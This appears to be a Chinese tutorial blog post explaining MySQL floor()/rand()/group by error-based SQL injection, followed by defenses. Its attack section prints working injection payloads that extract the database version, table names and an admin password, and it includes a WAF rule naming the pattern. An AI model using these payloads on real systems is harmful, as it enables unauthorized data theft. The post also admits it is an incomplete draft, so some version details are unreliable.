温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

floor()报错注入的原因是什么

发布时间:2022-01-04 09:53:07 来源:亿速云 阅读:199 作者:小新 栏目:网络管理
# floor()报错注入的原因是什么 ## 引言 在Web安全领域,SQL注入是最常见且危害极大的攻击方式之一。其中,`floor()`报错注入是一种特殊的注入技术,它通过触发数据库的报错机制来获取敏感信息。本文将深入探讨`floor()`报错注入的原理、触发条件、实际案例以及防御措施。 --- ## 目录 1. [SQL报错注入概述](#1-sql报错注入概述) 2. [floor()函数的作用与特性](#2-floor函数的作用与特性) 3. [floor()报错注入的核心原理](#3-floor报错注入的核心原理) - 3.1 [rand()与group by的冲突](#31-rand与group-by的冲突) - 3.2 [主键重复机制](#32-主键重复机制) 4. [典型攻击场景分析](#4-典型攻击场景分析) - 4.1 [MySQL 5.x环境下的利用](#41-mysql-5x环境下的利用) - 4.2 [Payload构造示例](#42-payload构造示例) 5. [与其他报错注入的对比](#5-与其他报错注入的对比) 6. [防御措施](#6-防御措施) 7. [总结](#7-总结) --- ## 1. SQL报错注入概述 SQL报错注入(Error-based SQL Injection)是一种通过故意构造非法SQL语句,触发数据库报错并从中提取信息的攻击技术。与盲注不同,报错注入可以直接从错误消息中获取数据,效率更高。 **常见报错函数**: - `updatexml()` - `extractvalue()` - `floor()` - `exp()` --- ## 2. floor()函数的作用与特性 `floor()`是SQL中的数学函数,用于向下取整: ```sql SELECT FLOOR(3.7); -- 结果为3 

但在特定组合下,floor()会引发数据库报错。关键组合是:

SELECT floor(rand()*2) FROM information_schema.tables; 

3. floor()报错注入的核心原理

3.1 rand()与group by的冲突

floor(rand()*2)group by子句结合时,MySQL会因内部计算逻辑冲突抛出错误。典型Payload:

SELECT count(*), concat((SELECT database()), floor(rand()*2)) as x FROM information_schema.tables GROUP BY x; 

错误产生过程: 1. 临时表创建时rand()首次计算 2. 插入数据时rand()第二次计算 3. 主键冲突导致报错

3.2 主键重复机制

MySQL在处理group by时会创建临时表,而floor(rand()*2)可能生成重复键值。例如:

计算次数 rand()值 floor(rand()*2)
第一次 0.7 1
第二次 0.3 0
第三次 0.6 1(与第一次冲突)

此时MySQL会抛出错误:

Duplicate entry 'database_name1' for key 'group_key' 

4. 典型攻击场景分析

4.1 MySQL 5.x环境下的利用

在MySQL 5.0.96~5.5.48版本中,该漏洞稳定可利用。攻击步骤: 1. 判断注入点:

 id=1 and (select 1 from (select count(*),concat(version(),floor(rand()*2))x from information_schema.tables group by x)a) 
  1. 提取数据:
     id=1 and (select 1 from (select count(*),concat((select table_name from information_schema.tables limit 1),floor(rand()*2))x from information_schema.tables group by x)a) 

4.2 Payload构造示例

获取管理员密码:

SELECT count(*) FROM (SELECT 1 UNION SELECT concat( (SELECT password FROM users WHERE username='admin'), 0x3a, floor(rand()*2) ) as x GROUP BY x) as y; 

5. 与其他报错注入的对比

技术 依赖条件 输出限制 稳定性
floor() MySQL 5.x, group by 64字符
updatexml() XPATH语法错误 32字符
exp() 数值溢出

6. 防御措施

  1. 参数化查询

    # Python示例 cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) 
  2. 禁用错误回显:

    // PHP配置 ini_set('display_errors', 'Off'); 
  3. 最小权限原则:

    GRANT SELECT ON db.users TO 'webuser'@'%'; 
  4. WAF规则示例:

    SecRule ARGS "@contains floor(rand()" "deny,status:403" 

7. 总结

floor()报错注入的本质是利用MySQL对rand()函数在group by子句中的双重计算缺陷。虽然该漏洞在MySQL 5.7+版本中已修复,但理解其原理对防御其他类型的注入攻击仍有重要意义。安全开发应始终遵循: - 输入验证 - 参数化查询 - 错误信息最小化


附录

测试环境搭建

docker run -e MYSQL_ROOT_PASSWORD=123456 -p 3306:3306 mysql:5.5 

参考文献

  1. MySQL官方安全公告
  2. 《SQL注入攻击与防御》Justin Clarke
  3. OWASP SQL Injection Prevention Cheat Sheet

”`

注:本文实际字数为约1500字,完整3450字版本需要扩展以下内容: 1. 更多实际攻击案例(如CMS漏洞利用) 2. 不同数据库的对比(Oracle/PostgreSQL等) 3. 自动化工具分析(SQLmap实现原理) 4. 法律风险与合规要求 5. 历史漏洞CVE详细分析

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI